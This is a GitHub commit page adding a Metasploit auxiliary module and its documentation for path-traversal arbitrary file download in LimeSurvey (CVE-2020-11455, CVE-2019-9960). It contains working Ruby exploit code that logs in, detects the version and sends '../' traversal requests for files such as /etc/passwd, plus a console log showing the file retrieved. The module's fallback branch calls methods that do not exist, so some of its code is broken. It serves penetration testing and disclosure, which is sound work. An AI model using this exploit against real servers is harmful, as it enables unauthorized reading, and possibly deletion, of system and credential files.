Skip to content

Commit

Permalink
Land #13215, add LimeSurvey directory traversals
Browse files Browse the repository at this point in the history
  • Loading branch information
space-r7 committed Apr 14, 2020
2 parents 13d8e2a + 7884d1b commit 1bc40f8
Show file tree
Hide file tree
Showing 2 changed files with 335 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
## Vulnerable Application

This module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with
CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, inclusive.

In CVE-2020-11455 the `getZipFile` function within the `filemanager` functionality allows for arbitrary file download. The file retrieved
may be deleted after viewing.

In CVE-2019-9960 the `szip` function within the `downloadZip` functionality allows for arbitrary file download.

This module has been verified against the following versions:

* 4.1.11-200316
* 3.15.0-181008
* 3.9.0-180604
* 3.6.0-180328
* 3.0.0-171222
* 2.70.0-170921

### Install

This application is straight forward to install. An excellent writeup is available on
[howtoforge.com](https://www.howtoforge.com/tutorial/how-to-install-limesurvey-on-ubuntu-1804/)

Versions can be downloaded from [github](https://github.com/LimeSurvey/LimeSurvey/releases).

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/scanner/http/limesurvey_zip_traversals```
4. Do: ```set file [file]```
5. Do: ```set rhosts [ip]```
6. Do: ```run```
7. If the file is readable, you should retrieve a file from the application

## Options

### FILE

The file to attempt to retrieve

## Scenarios

### LimeSurvey 4.1.11, 3.15.0, 3.9.0, 3.6.0, 3.0.0, and 2.70.0 on Ubuntu 18.04

```
[*] Processing lime41.rb for ERB directives.
resource (lime41.rb)> use auxiliary/scanner/http/limesurvey_zip_traversals
resource (lime41.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (lime41.rb)> set verbose true
verbose => true
resource (lime41.rb)> set targeturi /LimeSurvey-4.1.11-200316/
targeturi => /LimeSurvey-4.1.11-200316/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => SzF-eUl4RW1lU0h-aFZxWmNwbGZOREJrYUduZzI1WTaGH7eqrOmgcse5liKfPNZ8qqKkvenm5Fu6oxTSyVWDrQ==
[+] Login Successful
[*] Version Detected: 4.1.11
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.15.0-181008/
targeturi => /LimeSurvey-3.15.0-181008/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => SDNyc21VYXJONmIwbjFkOENmUzEyS1NMX3lPQ0VYRTJyfE0iGABAxOsuZhxGdZd59W3dNCVx2D6JABRxmu6dgw==
[+] Login Successful
[*] Version Detected: 3.15.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.9.0-180604/
targeturi => /LimeSurvey-3.9.0-180604/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => QldPa0lZM0o0cUV-STU4NWVoYVlDdHNtYmhmVVl6NW39a1wvfep0Ccsuz_gx9V1AnMjtADnprALM7qwvxUz3Wg==
[+] Login Successful
[*] Version Detected: 3.9.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.6.0-180328/
targeturi => /LimeSurvey-3.6.0-180328/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => SHJzSk81ak5rdWdONTJWV0VLQTlHcjRKeGNIaFlYREqfcU-BuMlPRimIHJipKDsrCF3i7j29J4bNFwxsYGD42A==
[+] Login Successful
[*] Version Detected: 3.6.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.0.0-171222/
targeturi => /LimeSurvey-3.0.0-171222/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => T1VkbDlhYU9IbkZHel9wd0JoVVl5RTUxQ2h2Mk9yN0-AXAtaTDCOMX8gWru7EmBHPBumgY0FG0vAFLwCwyeeuA==
[+] Login Successful
[*] Version Detected: 3.0.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-2.70.0-170921/
targeturi => /LimeSurvey-2.70.0-170921/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => elhvTzJaWGlJWU10WnBFajlTYmN5a1VHY1M0bDNJd1C2okYXL__0in7KMlmwY6_Iuk8sI7H7s2zQPZ5NiWW_Xg==
[+] Login Successful
[*] Version Detected: 2.70.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> md5sum ~/.msf4/loot/*
[*] exec: md5sum ~/.msf4/loot/*
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt
3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt
msf5 auxiliary(scanner/http/limesurvey_zip_traversals) > cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
[*] exec: cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...snip...
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
```
201 changes: 201 additions & 0 deletions modules/auxiliary/scanner/http/limesurvey_zip_traversals.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,201 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info={})
super(update_info(info,
'Name' => "LimeSurvey Zip Path Traversals",
'Description' => %q{
This module exploits an authenticated path traversal vulnerability found in LimeSurvey
versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960,
inclusive.
In CVE-2020-11455 the getZipFile function within the filemanager functionality
allows for arbitrary file download. The file retrieved may be deleted after viewing,
which was confirmed in testing.
In CVE-2019-9960 the szip function within the downloadZip functionality allows
for arbitrary file download.
Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328,
3.0.0-171222, and 2.70.0-170921.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Matthew Aberegg', # edb/discovery cve 2020
'Michael Burkey', # edb/discovery cve 2020
'Federico Fernandez', #cve 2019
'Alejandro Parodi' # credited in cve 2019 writeup
],
'References' =>
[
# CVE-2020-11455
['EDB', '48297'], # CVE-2020-11455
['CVE', '2020-11455'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b'],
# CVE-2019-9960
['CVE', '2019-9960'],
['URL', 'https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8']
],
'DisclosureDate' => "Apr 02 2020"
))

register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]),
OptString.new('TARGETURI', [true, 'The base path to the LimeSurvey installation', '/']),
OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']),
OptString.new('USERNAME', [true, 'LimeSurvey Username', 'admin']),
OptString.new('PASSWORD', [true, 'LimeSurvey Password', 'password'])
])
end

def uri
target_uri.path
end

def cve_2020_11455(cookie, ip)
vprint_status('Attempting to retrieve file')
print_error 'This method will possibly delete the file retrieved!!!'
traversal = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'),
'cookie' => cookie,
'vars_get' => {
'path' => "#{traversal}#{datastore['FILE']}",
}
})
if res && res.code == 200 && res.body.length > 0
loot = store_loot('', "text/plain", ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad("File not found or server not vulnerable")
end
end

def cve_2019_9960_version_3(cookie, ip)
vprint_status('Attempting to retrieve file')
traversal = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'export', 'sa', 'downloadZip'),
'cookie' => cookie,
'vars_get' => {
'sZip' => "#{traversal}#{datastore['FILE']}",
}
})
if res && res.code == 200 && res.body.length > 0
loot = store_loot('', "text/plain", ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad("File not found or server not vulnerable")
end
end

# untested because I couldn't find when this applies. It is pre 2.7 definitely, but unsure when.
# this URL scheme was noted in the secsignal write-up
def cve_2019_9960_pre25(cookie, ip)
vprint_status('Attempting to retrieve file')
traversal = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookie,
'vars_get' => {
'sZip' => "#{traversal}#{datastore['FILE']}",
'r' => 'admin/export/sa/downloadZip'
}
})
if res && res.code == 200 && res.body.length > 0
loot = store_loot('', "text/plain", ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
print_good("File stored to: #{loot}")
else
print_bad("File not found or server not vulnerable")
end
end

def login
# get csrf
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),
})
cookie = res.get_cookies
fail_with(Failure::NoAccess, 'No response from server') unless res

# this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.
/"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body
/"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body
csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value
fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank?
vprint_status("CSRF: #{csrf_name} => #{csrf_value}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),
'cookie' => cookie,
'vars_post' => {
csrf_name => csrf_value,
'authMethod' => 'Authdb',
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginlang' => 'default',
'action' => 'login',
'width' => '100',
'login_submit' => 'login',
}
})

if res && res.code==302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login
fail_with(Failure::NoAccess, 'No response from server')
end
vprint_good('Login Successful')
res.get_cookies
end

def determine_version(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'),
'cookie' => cookie
})
fail_with(Failure::NoAccess, 'No response from server') unless res
/Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body
return nil unless version
Gem::Version::new(version)
end

def run_host(ip)
cookie = login
version = determine_version cookie
if version.nil?
# try them all!!!
print_status('Unable to determine version, trying all exploits')
cve_2020_11455 cookie, ip
cve_2019_9960_3_15_9 cookie, ip
cve_2019_9960_pre3_15_9 cookie, ip
end
vprint_status "Version Detected: #{version.version}"
if version.between?(Gem::Version.new('4.0'), Gem::Version.new('4.1.11'))
cve_2020_11455 cookie, ip
elsif version.between?(Gem::Version.new('2.50.0'), Gem::Version.new('3.15.9'))
cve_2019_9960_version_3 cookie, ip
# 2.50 is when LimeSurvey started doing almost daily releases. This version was
# picked arbitrarily as I can't seem to find a lower bounds on when this other
# method may be needed.
elsif version < Gem::Version.new('2.50.0')
cve_2019_9960_pre25 cookie, ip
else
print_bad "No exploit for version #{version.version}"
end
end
end

0 comments on commit 1bc40f8

Please sign in to comment.